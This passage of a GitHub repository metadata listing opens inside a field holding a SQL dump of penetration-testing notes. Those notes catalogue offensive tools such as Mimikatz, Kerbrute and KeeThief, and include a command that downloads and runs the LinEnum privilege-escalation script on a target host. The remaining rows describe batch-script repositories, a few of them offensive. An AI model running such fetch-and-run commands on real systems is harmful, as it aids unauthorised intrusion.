enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey ""safety checks"" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow > ', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;",148,24,,2022-01-30T17:26:02Z,2026-10-06T17:57:57Z +RedGreenBlue09/WFAv7_Installer,https://github.com/RedGreenBlue09/WFAv7_Installer,Batch script to install Windows 10 ARM desktop version to Lumia devices (dual boot & single boot).,141,15,Shell,2020-03-13T04:24:55Z,2026-10-02T15:27:58Z +slyfox1186/script-repo,https://github.com/slyfox1186/script-repo,My personal script repository with multiple languages supported. AHK v1+v2 | BASH | BATCH | JSON | PERL | POWERSHELL | PYTHON | WINDOWS REGISTRY | XML,136,17,Shell,2022-12-24T16:16:44Z,2026-10-05T14:58:17Z +iKineticate/AHK-ChangeIcon,https://github.com/iKineticate/AHK-ChangeIcon,"只需一步操作，用户即可随心批量更换/恢复快捷方式图标 ( With just one step, users can change or restore the icons of shortcuts in batches as they wish )",130,1,AutoHotkey,2023-09-22T06:43:29Z,2026-08-07T00:22:35Z +daboynb/windows_scripts,https://github.com/daboynb/windows_scripts,Collection of useful automation scripts for Windows,119,20,PowerShell,2022-10-10T11:54:49Z,2026-09-19T10:43:31Z +fpoussin/Qt5-MSVC-Static,https://github.com/fpoussin/Qt5-MSVC-Static,Batch scripts that download and build static Qt5 libs on Windows.,116,54,M4,2015-07-23T21:41:20Z,2026-09-15T19:41:38Z +canarddu38/DUCKSPLOIT,https://github.com/canarddu38/DUCKSPLOIT,Windows Hacking FrameWork using Reverse Shell,112,17,C#,2022-01-20T20:59:25Z,2026-09-29T11:15:48Z +ComPDFKit/compdfkit-conversion-sdk-windows,https://github.com/ComPDFKit/compdfkit-conversion-sdk-windows,"High-performance PDF conversion library for Windows desktop apps. Convert PDF to Word, Excel, PPT, HTML, CSV, images, text, RTF, searchable PDF, JSON, Markdown, and OFD while preserving original layout with pixel-perfect accuracy. Support OCR, AI table recognition, and batch processing.",109,10,HTML,2025-06-09T07:53:32Z,2026-08-28T01:22:29Z +jeremyben/thebatchman,https://github.com/jeremyben/thebatchman,Converts Windows batch scripts (or HTA) into executable files,96,20,JavaScript,2015-12-27T22:57:42Z,2026-10-01T18:56:52Z +hahndorf/Set-Privacy,https://github.com/hahndorf/Set-Privacy,PowerShell script to batch-change privacy settings in Windows 10,94,19,PowerShell,2015-08-04T03:02:20Z,2026-08-30T04:23:30Z +lingxiaoyiyu-hub/grok-register-win,https://github.com/lingxiaoyiyu-hub/grok-register-win,Windows 下双击即用的 Grok（xAI）账号自动注册面板 - 浏览器自动化注册、SSO→CPA 转换、多邮箱源支持、多格式导出,92,26,Python,2026-07-14T06:22:52Z,2026-10-05T03:26:02Z Sidneys1/BatchImageProcessor,https://github.com/Sidneys1/BatchImageProcessor,A Mass Image Processing tool for Windows,89,16,C#,2015-03-30T20:20:37Z,2026-03-22T12:58:41Z leongrdic/wsl-alias,https://github.com/leongrdic/wsl-alias,create aliases for Linux commands in Windows command line (for WSL),86,7,Shell,2017-09-28T09:21:42Z,2026-03-12T10:53:18Z -Ec-25/FixIt,https://github.com/Ec-25/FixIt,A simple Script capable of optimizing and repairing almost any error that may occur on your Windows computer,85,4,Batchfile,2022-08-27T21:06:49Z,2026-05-14T14:07:31Z -SeregaSPb/Windows-10-batch-optimizer,https://github.com/SeregaSPb/Windows-10-batch-optimizer,"Autotuner Windows 10 for awesome perfomance setting, privacy and security.",84,27,Batchfile,2015-08-13T01:51:39Z,2026-06-04T04:33:59Z -geekcomputers/Batch,https://github.com/geekcomputers/Batch,Some basic batch scripts,83,35,Batchfile,2012-06-11T18:27:09Z,2026-05-26T05:36:23Z -HadiKhoirudin/Qualcomm-Tool,https://github.com/HadiKhoirudin/Qualcomm-Tool,"For educational purposes, learn how a batch script can handle emmcdl process.",82,22,Batchfile,2022-07-14T19:32:19Z,2026-05-20T19:36:39Z -AnonKryptiQuz/I-Espresso,https://github.com/AnonKryptiQuz/I-Espresso,"I-Espresso is a tool that enables users to generate Portable Executable (PE) files from batch scripts. Leveraging IExpress, it demonstrates how file extension spoofing can be used to evade detection.",82,14,Batchfile,2024-10-05T12:49:38Z,2026-06-10T00:21:58Z -vektort13/antiOS_batch,https://github.com/vektort13/antiOS_batch,Level 2B - OS unique identifiers spoof,81,38,Batchfile,2018-02-17T09:33:21Z,2026-05-22T04:11:50Z -VVFGAA/BreventBat,https://github.com/VVFGAA/BreventBat,,80,8,Batchfile,2019-04-05T17:40:50Z,2026-04-23T23:15:58Z -hashhar/Windows-Hacks,https://github.com/hashhar/Windows-Hacks,"This repository contains registry scripts, batch files and some knowledge to help you make your Windows do awesome stuff (at least by my standards).",79,13,PowerShell,2015-10-09T09:27:52Z,2026-05-30T01:58:01Z -TechTank/AlwaysActiveHours,https://github.com/TechTank/AlwaysActiveHours,"A tool, written as a batch file, used to shift your PC's active hour configuration to prevent Windows from shutting down automatically after installing updates.",79,3,Batchfile,2025-01-18T22:25:27Z,2026-06-12T13:46:40Z -bongochong/CWP-Utilities,https://github.com/bongochong/CWP-Utilities,"Combined Windows Privacy Utilities | Hosts file updater, block list manager, and more. Open source tools for Windows users, to help ensure privacy & security. Block ads, spyware domains, and other malicious activity/traffic, all through a simple interface.",78,4,Batchfile,2019-05-10T05:54:58Z,2026-05-17T05:49:01Z -mrblomblo/yt-dlp-usage-script,https://github.com/mrblomblo/yt-dlp-usage-script,This script is made to make usage of YT-DLP easier.,77,4,Batchfile,2024-03-12T19:55:45Z,2026-04-29T19:46:44Z -ritchielawrence/batchfunctionlibrary,https://github.com/ritchielawrence/batchfunctionlibrary,Library of Windows batch functions,77,18,HTML,2016-06-15T09:30:15Z,2026-05-11T16:08:41Z -TechnicalUserX/batch_wifi_brute_forcer,https://github.com/TechnicalUserX/batch_wifi_brute_forcer,An active attack tool against Wi-Fi networks with internal CMD commands,77,21,Batchfile,2020-12-15T07:34:52Z,2026-05-06T22:29:55Z -xanderfrangos/crushee,https://github.com/xanderfrangos/crushee,Desktop tool for batch image optimization and resizing. Available for Windows and Mac. Built with Electron and Node.js.,77,15,JavaScript,2019-03-18T13:57:48Z,2026-02-10T22:07:15Z -balsamleti/speedup-windows10,https://github.com/balsamleti/speedup-windows10,"The following batch files are included in the archive 1) Advanced Explorer Settings — This changes more than a dozen File Explorer related settings on Windows 10 that turn of animations, enable menus, or turn off things like Toasts. 2) Disable Automatic App Updates — Turns off automatic updates for Windows Store applications. 3) Disable Automatic Windows Updates — Turns off automatic updates for the Windows 10 operating system itself. 4) Disable Cortana Completely — Rename the cortana process searchUI.exe to searchUI.bak. This will kill the process permanetly and save your ressources. 5) Disable Forced Reboot after Update — Blocks Windows from enforcing a reboot after updates that require one. 6) Disable Lockscreen — Turns off the Windows 10 lockscreen. 7) Disable Telemetry — Turns off Windows 10 Telemetry. 8) Disable Unnecessary Services — This disables the MapsBroker, DoSvc and Wsearch services 9) Enable Defender Malware Protection — Enables Windows malware Protection. 10)Enable Secure Microsoft Edge Settings — Tweaks Microsoft Edge for security. Changes include turning of Flash and Cortana, enabling continuous browsing, and more. 11)Get Back Old Vertical Desktop Icon Distance — Changes the vertical icon spacing on the desktop. 12)Hide Cortana — Disables Cortana, and with it web searches and other search related parameters. The Microsoft way of disabling Cortana. 13)Hide OneDrive — Hides OneDrive and disables several related settings. 14)Re-enable Cortana Completely — This preferences turns Cortana on again. 15)Uninstall Unnecessary Apps — Removes ten apps that Windows 10 ships with including 3D Builder, Skype App, Getting Started, or Voice Recorder. 16)Enable Administrator Account — This preference enables the hidden administrator account in Windows. 17)Enable Standby instead of Hibernate — Switch powerstate from hibernation (slow) to standby . 18)Get apps access for Administrator Account — Enable access to applications for the administrator account.",77,10,Batchfile,2020-10-19T03:18:22Z,2026-04-17T11:19:46Z -fiagotvfnl/4k-video-downloader,https://github.com/fiagotvfnl/4k-video-downloader,"Free 4K Video Downloader for Windows — Download videos in 4K Ultra HD, 8K, 1080p from YouTube, TikTok, Instagram, Vimeo & 1000+ sites. No watermark, no ads, no registration. Batch download playlists & channels.",77,12,,2026-06-07T22:47:14Z,2026-06-15T10:52:37Z -Mario-Hero/toolUnRar,https://github.com/Mario-Hero/toolUnRar,用Python批量解压带密码的压缩包 A Python script for batch extraction with passwords,76,17,Python,2021-04-04T13:51:09Z,2026-04-05T00:50:27Z -Jordan231111/BluestacksRoot,https://github.com/Jordan231111/BluestacksRoot,"Root BlueStacks 5 with real Magisk (Kitsune) in one .cmd file, no traces. Supports the latest 5.22+ with NO downgrade — bypasses the 'illegally tampered' disk-integrity check. Android 9, 11 & 13. Open source.",75,9,Batchfile,2024-01-27T16:50:37Z,2026-06-15T11:09:06Z -DosX-dev/BatchASM,https://github.com/DosX-dev/BatchASM,BatchASM - primitive virtual machine (high level assembly language) for executing instructions in programming language environment Windows Batch.,74,2,Batchfile,2023-11-20T19:56:28Z,2026-06-15T07:39:50Z -TarikSeyceri/Windows-10-Update-Disabler.bat,https://github.com/TarikSeyceri/Windows-10-Update-Disabler.bat,An executable cmd batch script that 100% Disables Windows 10 Update.,72,18,Batchfile,2020-09-11T14:18:01Z,2026-03-02T23:26:24Z -edinsuta/youtube-dl-batch,https://github.com/edinsuta/youtube-dl-batch,Simple batch files for simplifying basic usage of https://github.com/rg3/youtube-dl Windows .exe releases,72,18,Batchfile,2018-06-18T19:39:50Z,2026-01-16T14:19:44Z -jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,https://github.com/jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,解锁 Minecraft for Windows （MCBE）的一键 BAT 脚本,72,9,Batchfile,2022-01-26T15:08:58Z,2026-06-06T02:51:52Z -WWILLV/you-get-ffmpeg,https://github.com/WWILLV/you-get-ffmpeg,结合you-get、youtube-dl和FFMPEG，附带文件管理视频播放等命令,71,22,Batchfile,2017-04-15T05:34:02Z,2026-03-31T08:59:14Z -stefanpejcic/EmptyStandbyList,https://github.com/stefanpejcic/EmptyStandbyList,Empty Standby Memory automatically with Task Scheduler + EmptyStandbyList + .BAT,70,15,Batchfile,2020-02-12T10:01:14Z,2026-06-14T03:43:21Z -NabiKAZ/video2gif,https://github.com/NabiKAZ/video2gif,A batch script for convert video to GIF files by FFmpeg.exe on Windows,67,12,Batchfile,2017-04-22T22:58:47Z,2026-03-27T18:56:40Z -Hishiro64/av1an-win-script,https://github.com/Hishiro64/av1an-win-script,A Batch script that sets up Av1an with all it's dependencies in a portable workspace,66,6,Batchfile,2023-04-30T04:12:33Z,2026-05-11T22:29:13Z -Archive-projects/Batch-File-examples,https://github.com/Archive-projects/Batch-File-examples,:shell: Various batch files (descriptions are in the read me file),66,20,Batchfile,2017-05-30T00:59:04Z,2026-03-22T19:09:26Z -newmatrix/WinRTP,https://github.com/newmatrix/WinRTP,Windows Repair Tool Pro هي أداة مجانية مخصصة لصيانة وإصلاح مشاكل ويندوز بسهولة من خلال واجهة CMD بسيطة وسريعة.,65,16,Batchfile,2026-05-17T21:19:51Z,2026-06-14T18:50:15Z -custom-dev-tools/wampserver-ssl-auto-config,https://github.com/custom-dev-tools/wampserver-ssl-auto-config,WampServer SSL Auto Config is a Microsoft Windows batch script designed to automatically generate and configure a fully working Apache SSL / Name Based virtual host development environment.,61,13,Batchfile,2020-06-14T13:41:32Z,2026-02-02T06:22:47Z -minigueimeiros/office-365-cmd,https://github.com/minigueimeiros/office-365-cmd,Ativador Office 365,61,24,Batchfile,2021-03-02T01:08:57Z,2026-04-08T12:16:34Z -dend/windows-dev-box,https://github.com/dend/windows-dev-box,💻 Scripts and relevant configuration to set up my Windows development box.,58,11,Batchfile,2021-06-11T23:13:24Z,2026-06-07T00:38:31Z -amakvana/Bat-2-Exec,https://github.com/amakvana/Bat-2-Exec,Bat-2-Exec - A wrapper for converting Batch files into Executables using IExpress,58,6,Batchfile,2020-06-19T10:33:37Z,2026-06-08T23:53:19Z -AliceDzindzik/menu-do-suporte,https://github.com/AliceDzindzik/menu-do-suporte,"Script batch (.bat) interativo para otimizar suporte técnico no Windows, automatizando reinício do sistema, limpeza de temporários, diagnóstico de rede, correção de erros comuns de impressão e ajustes de compartilhamento entre Windows 10 e 11 via PowerShell, aumentando a eficiência e reduzindo erros humanos.",57,19,Batchfile,2025-07-31T18:08:22Z,2026-01-23T14:34:28Z -AFaustini/OtimizeWindows,https://github.com/AFaustini/OtimizeWindows,Arquivo em lote (.bat) para otimização do Windows,57,15,Batchfile,2019-01-02T19:33:38Z,2026-06-13T15:51:43Z -FoxP/rclone-backup,https://github.com/FoxP/rclone-backup,Just my rclone Windows batch scripts to backup / sync the second hard drive of my computer to pCloud (encrypted).,56,11,Batchfile,2018-07-30T16:47:16Z,2026-04-22T09:31:16Z -jahwi/bget,https://github.com/jahwi/bget,A package manager for Windows scripts.,56,4,Batchfile,2018-11-22T01:36:55Z,2025-10-11T19:39:30Z -faizul726/matject,https://github.com/faizul726/matject,Matject - Universal batch script made for Windows to dynamically change .material.bin files of Minecraft Bedrock Edition. With automatic backups and many more features!,56,5,Batchfile,2024-08-29T16:04:00Z,2026-06-08T04:45:51Z -EbolaMan-YT/custom-cmd,https://github.com/EbolaMan-YT/custom-cmd,,56,11,Batchfile,2023-02-28T23:24:20Z,2026-05-25T21:17:38Z -anic17/Batch-Antivirus,https://github.com/anic17/Batch-Antivirus,"Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.",56,5,Batchfile,2020-06-20T20:52:35Z,2026-04-28T13:45:58Z -custom-dev-tools/wampserver-php-cli-version-changer,https://github.com/custom-dev-tools/wampserver-php-cli-version-changer,WampServer PHP CLI version changer is a Microsoft Windows batch script that allows you to easily add and then change between available WampServer PHP CLI versions using the users environment 'path' variable.,54,6,Batchfile,2018-03-23T05:53:02Z,2026-02-26T06:20:48Z -2rf/winGetDebloated,https://github.com/2rf/winGetDebloated,🧹 A winget bloatware removal tool made in batch,53,6,Batchfile,2021-08-19T02:18:20Z,2026-04-26T19:14:58Z -EbolaMan-YT/Batch-Multi-Tool,https://github.com/EbolaMan-YT/Batch-Multi-Tool,batch multi tool https://www.youtube.com/watch?v=x9aGS-FzONg,53,20,Batchfile,2024-09-12T12:18:43Z,2026-06-12T21:32:23Z -itsHenry35/Adobe-flash-player-installer,https://github.com/itsHenry35/Adobe-flash-player-installer,A bat installer to install adobe flash player which bypasses the date restrict,53,6,Batchfile,2022-03-26T08:11:09Z,2026-03-18T04:16:27Z -skidaim/TJprojMain-explorer.exe-remover,https://github.com/skidaim/TJprojMain-explorer.exe-remover,"This simple batch script will get rid of the annoying TJprojMain malware, which infects all your exe files to spread",52,15,Batchfile,2021-07-09T16:49:13Z,2026-04-09T08:13:52Z -yasser-alghamdi/winterfell-collection,https://github.com/yasser-alghamdi/winterfell-collection,"Winterfell is a group of windows batch scripts to collect Windows forensics data and perform efficient, and fast incident response and threat hunting activities.",52,11,Batchfile,2020-02-20T18:13:09Z,2025-06-10T13:56:10Z -dfkt/win-cmd-tools,https://github.com/dfkt/win-cmd-tools,Collection of some Windows commandline tools/batch scripts I use on a daily-ish basis.,51,17,Batchfile,2015-02-19T21:14:08Z,2024-08-22T17:40:44Z -ParrySMS/batteryreport,https://github.com/ParrySMS/batteryreport,a simple bat to get battery report,51,10,Batchfile,2018-12-28T07:14:11Z,2025-09-24T18:20:26Z -danielj0nes/Activate-Windows10-Pro-Script,https://github.com/danielj0nes/Activate-Windows10-Pro-Script,Batch script to activate Windows 10 Pro for free (requires an unlicensed installation of Windows 10).,50,12,Batchfile,2019-12-30T15:49:27Z,2026-05-30T01:07:40Z -tcja/Windows-10-tweaks,https://github.com/tcja/Windows-10-tweaks,This repo contains multiple scripts to optimize windows 10,50,4,Batchfile,2019-04-26T17:05:32Z,2026-06-09T12:12:46Z +VVFGAA/BreventBat,https://github.com/VVFGAA/BreventBat,,83,8,Batchfile,2019-04-05T17:40:50Z,2026-09-27T16:51:55Z +TheYogMehta/StrawVerse,https://github.com/TheYogMehta/StrawVerse,"A fast, open-source anime and manga downloader for Windows, Linux, and Android with batch downloads, subtitles, multiple sources, quality selection, and MyAnimeList 